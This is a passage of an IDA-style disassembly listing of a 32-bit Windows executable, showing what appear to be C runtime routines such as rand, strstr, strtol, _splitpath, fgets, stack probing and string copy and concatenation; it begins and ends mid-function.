		test	eax, eax
		jz	short loc_41C213
		mov	ecx, dword_4DD398
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41C212


loc_41C1FF:				; CODE XREF: sub_41C1B3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C207
		call	eax


loc_41C207:				; CODE XREF: sub_41C1B3+50j
		sub	esi, 4
		cmp	esi, dword_4DD39C
		jnb	short loc_41C1FF


loc_41C212:				; CODE XREF: sub_41C1B3+4Aj
		pop	esi


loc_41C213:				; CODE XREF: sub_41C1B3+3Cj
		push	offset dword_429034
		push	offset dword_42902C
		call	sub_41C24C
		pop	ecx
		pop	ecx


loc_41C224:				; CODE XREF: sub_41C1B3+33j
		push	offset dword_429040
		push	offset dword_429038
		call	sub_41C24C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41C24A
		push	[esp+4+arg_0]
		mov	dword_4DBE24, edi
		nop
		call	near ptr 77E75CB5h


loc_41C24A:				; CODE XREF: sub_41C1B3+85j
		pop	edi
		retn
sub_41C1B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C24C	proc near		; CODE XREF: ___:0041C179p
					; ___:0041C188p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41C251:				; CODE XREF: sub_41C24C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41C264
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C25F
		call	eax


loc_41C25F:				; CODE XREF: sub_41C24C+Fj
		add	esi, 4
		jmp	short loc_41C251
; ---------------------------------------------------------------------------


loc_41C264:				; CODE XREF: sub_41C24C+9j
		pop	esi
		retn
sub_41C24C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C266	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C2A6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C2B3
; ---------------------------------------------------------------------------


loc_41C2A6:				; CODE XREF: sub_41C266+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C2B3:				; CODE XREF: sub_41C266+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C266	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2B8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+315Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43AE00, eax
		retn
sub_41C2B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2C2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43AE00
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43AE00, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41C2C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2E0	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41C35A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41C347


loc_41C2F8:				; CODE XREF: sub_41C2E0+52j
					; sub_41C2E0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jz	short loc_41C314


loc_41C309:				; CODE XREF: sub_41C2E0+32j
		mov	al, [esi]
		inc	esi


loc_41C30C:				; CODE XREF: sub_41C2E0+3Fj
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jnz	short loc_41C309


loc_41C314:				; CODE XREF: sub_41C2E0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C31A:				; CODE XREF: sub_41C2E0+23j
					; sub_41C2E0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41C30C
		lea	edi, [esi-1]


loc_41C324:				; CODE XREF: sub_41C2E0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41C353
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41C2F8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41C353
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41C324
		jmp	short loc_41C2F8
; ---------------------------------------------------------------------------


loc_41C347:				; CODE XREF: sub_41C2E0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C996
; ---------------------------------------------------------------------------


loc_41C353:				; CODE XREF: sub_41C2E0+49j
					; sub_41C2E0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C35A:				; CODE XREF: sub_41C2E0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41C2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C360	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C15p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C39F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C3AC
; ---------------------------------------------------------------------------


loc_41C39F:				; CODE XREF: sub_41C360+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C3AC:				; CODE XREF: sub_41C360+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C360	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3B1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+2177p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B9C0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41C3EC
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41C3EC
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41C3E8
		push	2
		push	ebx
		push	esi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41C3E8:				; CODE XREF: sub_41C3B1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41C3F6
; ---------------------------------------------------------------------------


loc_41C3EC:				; CODE XREF: sub_41C3B1+18j
					; sub_41C3B1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C3F6
		and	byte ptr [eax],	0


loc_41C3F6:				; CODE XREF: sub_41C3B1+39j
					; sub_41C3B1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41C46E


loc_41C409:				; CODE XREF: sub_41C3B1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DD261[edx], 4
		jz	short loc_41C41A
		inc	eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C41A:				; CODE XREF: sub_41C3B1+64j
		cmp	cl, 2Fh
		jz	short loc_41C42E
		cmp	cl, 5Ch
		jz	short loc_41C42E
		cmp	cl, 2Eh
		jnz	short loc_41C434
		mov	[ebp+var_4], eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C42E:				; CODE XREF: sub_41C3B1+6Cj
					; sub_41C3B1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41C434:				; CODE XREF: sub_41C3B1+67j
					; sub_41C3B1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41C409
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41C46E
		cmp	[ebp+arg_8], 0
		jz	short loc_41C469
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C452
		mov	edi, esi


loc_41C452:				; CODE XREF: sub_41C3B1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420B29
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C469:				; CODE XREF: sub_41C3B1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41C478
; ---------------------------------------------------------------------------


loc_41C46E:				; CODE XREF: sub_41C3B1+56j
					; sub_41C3B1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41C478
		and	byte ptr [ecx],	0


loc_41C478:				; CODE XREF: sub_41C3B1+BBj
					; sub_41C3B1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41C4CB
		cmp	edi, ebx
		jb	short loc_41C4CB
		cmp	[ebp+arg_C], 0
		jz	short loc_41C4A8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C491
		mov	edi, esi


loc_41C491:				; CODE XREF: sub_41C3B1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420B29
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C4A8:				; CODE XREF: sub_41C3B1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41C4F3
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41C4B8
		mov	esi, eax


loc_41C4B8:				; CODE XREF: sub_41C3B1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41C4F3
; ---------------------------------------------------------------------------


loc_41C4CB:				; CODE XREF: sub_41C3B1+CCj
					; sub_41C3B1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41C4E9
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41C4DA
		mov	esi, eax


loc_41C4DA:				; CODE XREF: sub_41C3B1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41C4E9:				; CODE XREF: sub_41C3B1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41C4F3
		and	byte ptr [eax],	0


loc_41C4F3:				; CODE XREF: sub_41C3B1+FCj
					; sub_41C3B1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C3B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C500	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41C520


loc_41C50C:				; CODE XREF: sub_41C500+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41C50C


loc_41C520:				; CODE XREF: sub_41C500+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41C500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C52F	proc near		; CODE XREF: sub_401ACD+73F5p
					; sub_401ACD+7424p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41C543
		xor	eax, eax
		jmp	short loc_41C579
; ---------------------------------------------------------------------------


loc_41C543:				; CODE XREF: sub_41C52F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41C573
		mov	esi, [ebp+arg_8]


loc_41C54C:				; CODE XREF: sub_41C52F+42j
		dec	dword ptr [esi+4]
		js	short loc_41C55B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41C562
; ---------------------------------------------------------------------------


loc_41C55B:				; CODE XREF: sub_41C52F+20j
		push	esi
		call	sub_41F8E3
		pop	ecx


loc_41C562:				; CODE XREF: sub_41C52F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C57D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41C573
		dec	[ebp+arg_4]
		jnz	short loc_41C54C


loc_41C573:				; CODE XREF: sub_41C52F+18j
					; sub_41C52F+3Dj ...
		and	byte ptr [edi],	0


loc_41C576:				; CODE XREF: sub_41C52F+55j
		mov	eax, ebx
		pop	esi


loc_41C579:				; CODE XREF: sub_41C52F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C57D:				; CODE XREF: sub_41C52F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41C573
		xor	ebx, ebx
		jmp	short loc_41C576
sub_41C52F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C586	proc near		; CODE XREF: ___:0041E645p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C586	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C59D	proc near		; CODE XREF: sub_41C586+Ep
					; sub_41C7A5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41C5B5:				; CODE XREF: sub_41C59D+46j
		cmp	dword_43D084, 1
		jle	short loc_41C5CD
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C5DC
; ---------------------------------------------------------------------------


loc_41C5CD:				; CODE XREF: sub_41C59D+1Fj
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C5DC:				; CODE XREF: sub_41C59D+2Ej
		test	eax, eax
		jz	short loc_41C5E5
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41C5B5
; ---------------------------------------------------------------------------


loc_41C5E5:				; CODE XREF: sub_41C59D+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41C5F3
		or	[ebp+arg_C], 2
		jmp	short loc_41C5F8
; ---------------------------------------------------------------------------


loc_41C5F3:				; CODE XREF: sub_41C59D+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41C5FE


loc_41C5F8:				; CODE XREF: sub_41C59D+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41C5FE:				; CODE XREF: sub_41C59D+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41C795
		cmp	eax, 1
		jz	loc_41C795
		cmp	eax, 24h
		jg	loc_41C795
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41C646
		cmp	bl, 30h
		jz	short loc_41C630
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C630:				; CODE XREF: sub_41C59D+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C643
		cmp	al, 58h
		jz	short loc_41C643
		mov	[ebp+arg_8], 8
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C643:				; CODE XREF: sub_41C59D+97j
					; sub_41C59D+9Bj
		mov	[ebp+arg_8], ecx


loc_41C646:				; CODE XREF: sub_41C59D+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C662
		cmp	bl, 30h
		jnz	short loc_41C662
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C65A
		cmp	al, 58h
		jnz	short loc_41C662


loc_41C65A:				; CODE XREF: sub_41C59D+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41C662:				; CODE XREF: sub_41C59D+91j
					; sub_41C59D+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41C672:				; CODE XREF: sub_41C59D+16Cj
		cmp	dword_43D084, 1
		movzx	esi, bl
		jle	short loc_41C68A
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C695
; ---------------------------------------------------------------------------


loc_41C68A:				; CODE XREF: sub_41C59D+DFj
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C695:				; CODE XREF: sub_41C59D+EBj
		test	eax, eax
		jz	short loc_41C6A1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41C6D3
; ---------------------------------------------------------------------------


loc_41C6A1:				; CODE XREF: sub_41C59D+FAj
		cmp	dword_43D084, 1
		jle	short loc_41C6B5
		push	edi
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C6C0
; ---------------------------------------------------------------------------


loc_41C6B5:				; CODE XREF: sub_41C59D+10Bj
		mov	eax, off_43CE78
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41C6C0:				; CODE XREF: sub_41C59D+116j
		test	eax, eax
		jz	short loc_41C70E
		movsx	eax, bl
		push	eax
		call	sub_420BB3
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41C6D3:				; CODE XREF: sub_41C59D+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C70E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41C6F8
		jnz	short loc_41C6F2
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41C6F8


loc_41C6F2:				; CODE XREF: sub_41C59D+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41C701
; ---------------------------------------------------------------------------


loc_41C6F8:				; CODE XREF: sub_41C59D+145j
					; sub_41C59D+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41C701:				; CODE XREF: sub_41C59D+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41C672
; ---------------------------------------------------------------------------


loc_41C70E:				; CODE XREF: sub_41C59D+125j
					; sub_41C59D+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41C72C
		test	edx, edx
		jz	short loc_41C726
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41C726:				; CODE XREF: sub_41C59D+181j
		and	[ebp+var_8], 0
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C72C:				; CODE XREF: sub_41C59D+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41C752
		test	cl, 1
		jnz	short loc_41C779
		and	ecx, 2
		jz	short loc_41C749
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41C752


loc_41C749:				; CODE XREF: sub_41C59D+1A1j
		test	ecx, ecx
		jnz	short loc_41C779
		cmp	[ebp+var_8], eax
		jbe	short loc_41C779


loc_41C752:				; CODE XREF: sub_41C59D+197j
					; sub_41C59D+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DBDDC, 22h
		jz	short loc_41C768
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C768:				; CODE XREF: sub_41C59D+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41C779:				; CODE XREF: sub_41C59D+18Dj
					; sub_41C59D+19Cj ...
		test	edx, edx
		jz	short loc_41C782
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41C782:				; CODE XREF: sub_41C59D+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C790
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41C790:				; CODE XREF: sub_41C59D+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41C7A0
; ---------------------------------------------------------------------------


loc_41C795:				; CODE XREF: sub_41C59D+66j
					; sub_41C59D+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C79E
		mov	[eax], edi


loc_41C79E:				; CODE XREF: sub_41C59D+1FDj
		xor	eax, eax


loc_41C7A0:				; CODE XREF: sub_41C59D+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C59D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7A5	proc near		; CODE XREF: sub_401ACD+60F0p
					; sub_401ACD+6931p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C7A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7BC	proc near		; CODE XREF: sub_401ACD+58ADp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 2680591h
		test	eax, eax
		jnz	short loc_41C7D2
		nop
		call	near ptr 2680C22h
		jmp	short loc_41C7D4
; ---------------------------------------------------------------------------


loc_41C7D2:				; CODE XREF: sub_41C7BC+Cj
		xor	eax, eax


loc_41C7D4:				; CODE XREF: sub_41C7BC+14j
		test	eax, eax
		jz	short loc_41C7E3
		push	eax
		call	sub_420C7F
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41C7E3:				; CODE XREF: sub_41C7BC+1Aj
		xor	eax, eax
		retn
sub_41C7BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7E6	proc near		; CODE XREF: sub_401ACD+5801p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420CE6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41FF3F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_420D73
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C7E6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C820	proc near		; CODE XREF: sub_401ACD+1E1Fp
					; sub_401ACD+1E3Ep ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C841
		xor	eax, eax
		jmp	short loc_41C843
; ---------------------------------------------------------------------------


loc_41C841:				; CODE XREF: sub_41C820+1Bj
		mov	eax, edi


loc_41C843:				; CODE XREF: sub_41C820+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C850	proc near		; CODE XREF: sub_401ACD+854p
					; ___:0041E5BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C881
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C87F
		jz	short loc_41C881
		dec	ecx
		dec	ecx


loc_41C87F:				; CODE XREF: sub_41C850+29j
		not	ecx


loc_41C881:				; CODE XREF: sub_41C850+9j
					; sub_41C850+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C850	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C890	proc near		; CODE XREF: sub_401ACD+42Dp
					; sub_401ACD+2FB3p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C901
sub_41C890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C8A0	proc near		; CODE XREF: sub_401ACD+436p
					; sub_401ACD+746Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C8BC


loc_41C8AD:				; CODE XREF: sub_41C8A0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C8EF
		test	ecx, 3
		jnz	short loc_41C8AD


loc_41C8BC:				; CODE XREF: sub_41C8A0+Bj
					; sub_41C8A0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C8BC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C8FE
		test	ah, ah
		jz	short loc_41C8F9
		test	eax, 0FF0000h
		jz	short loc_41C8F4
		test	eax, 0FF000000h
		jz	short loc_41C8EF
		jmp	short loc_41C8BC
; ---------------------------------------------------------------------------


loc_41C8EF:				; CODE XREF: sub_41C8A0+12j
					; sub_41C8A0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F4:				; CODE XREF: sub_41C8A0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F9:				; CODE XREF: sub_41C8A0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8FE:				; CODE XREF: sub_41C8A0+39j
		lea	edi, [ecx-4]


loc_41C901:				; CODE XREF: sub_41C890+5j
					; sub_41C8A0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C926


loc_41C90D:				; CODE XREF: sub_41C8A0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C978
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C90D
		jmp	short loc_41C926
; ---------------------------------------------------------------------------


loc_41C921:				; CODE XREF: sub_41C8A0+9Ej
					; sub_41C8A0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41C926:				; CODE XREF: sub_41C8A0+6Bj
					; sub_41C8A0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
